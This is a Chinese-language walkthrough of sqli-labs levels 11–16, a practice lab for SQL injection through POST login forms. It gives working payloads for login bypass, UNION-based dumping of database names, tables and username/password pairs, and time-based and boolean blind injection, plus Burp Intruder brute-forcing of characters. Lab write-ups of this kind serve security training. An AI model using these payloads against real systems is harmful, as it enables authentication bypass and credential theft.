sqli-labs(11-16关)
MySQL查询语句:
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';(以security表为例)
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;
第十一关(Less-11):单引号注入
1.首先输入用户名和密码均为admin进行登录,显示登录成功和相关的sql语句以及登录名和密码,如图所示
2.打开Burp Loader进行抓包分析,打开代理,重新登录,进行抓包
3.将uname、passwd和submit进行复制,粘贴到如图所示位置,然后执行
4.执行之后,显示成功。
5.将uname=admin&passwd=admin&submit=Submit修改为uname=admin'&passwd=admin&submit=Submit,再次执行,如图出现语法错误,说明存在注入漏洞
6.将 uname=admin'&passwd=admin&submit=Submit更改为uname='&passwd=admin&submit=Submit,再次执行,如图还是存在错误,存在注入漏洞
7. 将uname='&passwd=admin&submit=Submit更改为uname=admin' or 1=1#&passwd=admin&submit=Submit,登录成功,验证存在注入漏洞(#为注释符,不可用--+)
8.输入uname=n'or 1=1#&passwd=admin&submit=Submit,执行显示成功,则构造出初始语法为这样儿
9.使用order by猜解列数,输入uname=n'order by 3#&passwd=admin&submit=Submit,显示错误
10.将3改为2,无错误,说明有两列
11.使用联合查询语句union select,得出回显位置1和2
12.爆破库,输入uname=n'union select 1,schema_name from information_schema.schemata limit 0,1#&passwd=admin&submit=Submit,得到数据库information_schema
13.将limit0,1改为limit1,1即可得到第二个数据库,后面的以此类推
14.输入uname=n'union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit,爆破出所有库
15.以security库为例,爆破表、列、字段。输入uname=n'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit,爆破出security库中的所有表信息
16.输入uname=n'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit,爆破出users表中的所有列信息
17.输入uname=n'union select 1,group_concat(username) from security.users#&passwd=admin&submit=Submit,爆破出username字段的所有信息
18.输入uname=n'union select 1,group_concat(concat_ws(0x7e,username,password)) from security.users#&passwd=admin&submit=Submit一次性爆破出username,password字段的信息
第十二关(Less-12):双引号注入
1.同Less-11相同的方法进行抓包,拿到数据
2.将uname、passwd和submit进行复制,粘贴到如图所示位置,然后执行,登陆成功,显示用户名和密码
3.查询其是否存在注入漏洞,输入uname=admin'or 1=1#&passwd=admin&submit=Submit,显示登录失败,但是无其他报错信息,存在注入漏洞
4.将单引号更改为双引号,uname=admin" or 1=1#&passwd=admin&submit=Submit,登陆失败,出现报错信息
5.输入uname=admin") or1=1#&passwd=admin&submit=Submit,登陆成功,说明构造的初始语法如此
6.其余爆破库、表、列 、字段的操作均与Less-11相同
第十三关(Less-13):
1.输入username和password进行提交,返回信息表示登录成功
2.像Less-11和Less-12一样抓包获取Post的内容uname=admin&passwd=admin&submit=Submit,执行,显示登陆成功
3.将admin改为ain再次登录,显示登录失败
4.将Post内容uname=ain&passwd=admin&submit=Submit修改为uname=ain' or 1=1#&passwd=admin&submit=Submit并使用or语句进行构造。提示失败并出现报错,说明存在注入漏洞。
5.将构造的Post内容进行修改,改为uname=ain') or 1=1#&passwd=admin&submit=Submit,执行。返回成功登录。
6.此时我们使用union select进行回显位置的查找,输入uname=ain') or union select 1,2#&passwd=admin&submit=Submit。返回结果为失败
7.在这里我们使用盲注。使用if语句,进行逐步猜测数据库名称的长度。首先输入uname=ain') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit。立刻回显正常。说明此时数据库的长度大于1成立。将大于1改为大于10,则会休眠5s。
8.我们当前的实验是以security库为例,此库的长度为8(已知)。输入uname=ain') or if(length(database())>=8,1,sleep(5))#&passwd=admin&submit=Submit。返回成功并且返回速度很快。故最终猜解到当前数据库字符长度为8。
9.接下来判断当前数据库的第一个字母,使用left函数,与if函数的用法类似。输入uname=ain') or left(database(),1)>'a'#&passwd=admin&submit=Submit。判断当前数据库的首字母是否比a大,若大,则返回1。返回结果成功,说明首字母比a大。
10.将database()进行替换,换为select schema_name from information_schema.schemata limit 0,1进行一位一位的查询。返回成功。则可以通过这样的方法查询出数据库中的所有信息,也可以通过这样的方法查询出表,列,字段信息。
11.使用BurpLoader进行破解库、表、列、字段。使用大于a显示成功,小于或者等于a均为失败。
12.打开代理,进行重新发送。抓包。将抓到的包发送至暴力破解模块。在暴力破解模块清楚当前的关键字。
13.将a设置为关键字,添加美元符号。然后选择payloads,改为暴力破解模式,设置Payloads和Options(可以将线程设置为10)。然后开始暴力破解。
14.根据长度判断第一位的字母。发现i字母的长度与其他长度不同,查看返回结果可知i时返回成功。故猜解到第一位是i
15.进行第二位的猜解。与第一位的爆破猜解方法相同。
16.发现n的长度与其他长度不同。返回数据中也出现成功的图片。故猜解第二位是n。其余位猜解方法相同。
第十四关(Less-14):
1.根据提示输入username和password,点击提交。返回成功,但没有回显信息。与Less-13对比可知,不同的地方是Less-13使用的是单引号,而Less-14使用的是双引号。
2.与Less-13的方法相同进行抓包得到post数据uname=admin&passwd=admin&submit=Submit,登录会显示登录成功
3.对语法进行构造。根据与Less-13的不同之处进行构造,得出uname=admin" or 1=1#&passwd=admin&submit=Submit,此时返回成功
4.使用length语句进行长度的猜解(已知当前数据库的字符长度为8)。输入uname=admin" or length(database())='8'#&passwd=admin&submit=Submit.显示成功
5.使用left函数进行首字母的猜解判断。uname=ain" or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit。返回成功。
6.改为等于a,返回失败。说明首字母大于a
7.接下来跟Less-13的内容相同,可以使用left函数进行一个一个的猜解,也可以使用BurpLoader进行每一位的猜解。
第十五关(Less-15):
1.根据提示输入username和password,点击提交。显示登陆成功,但没有回显值。
2.与Less-13和Less-14进行比较得出,Less-15是用单引号
3.用与Less-13和Less-14相同的方法得到post数据,进行猜想构造,得出uname=admin&passwd=a' or 1=1#&submit=Submit。显示登陆成功
4.接下来,采用与Less-13和Less-14相同的方法进行盲注猜解。此处省略,可参考Less-13和Less-14。
第十六关(Less-16):
1.根据提示输入username和password。显示成功。
2.与Less-13、Lss-14和Less-15操作相同。得到post内的数据。uname=admin&passwd=admin&submit=Submit。显示成功。
3.Less-16与Less-13、Less-14和Less-15不同的是,使用双引号括号包裹数据。则同样采用布尔盲注进行猜解。与Less-13、Less-14和Less-15操作相同。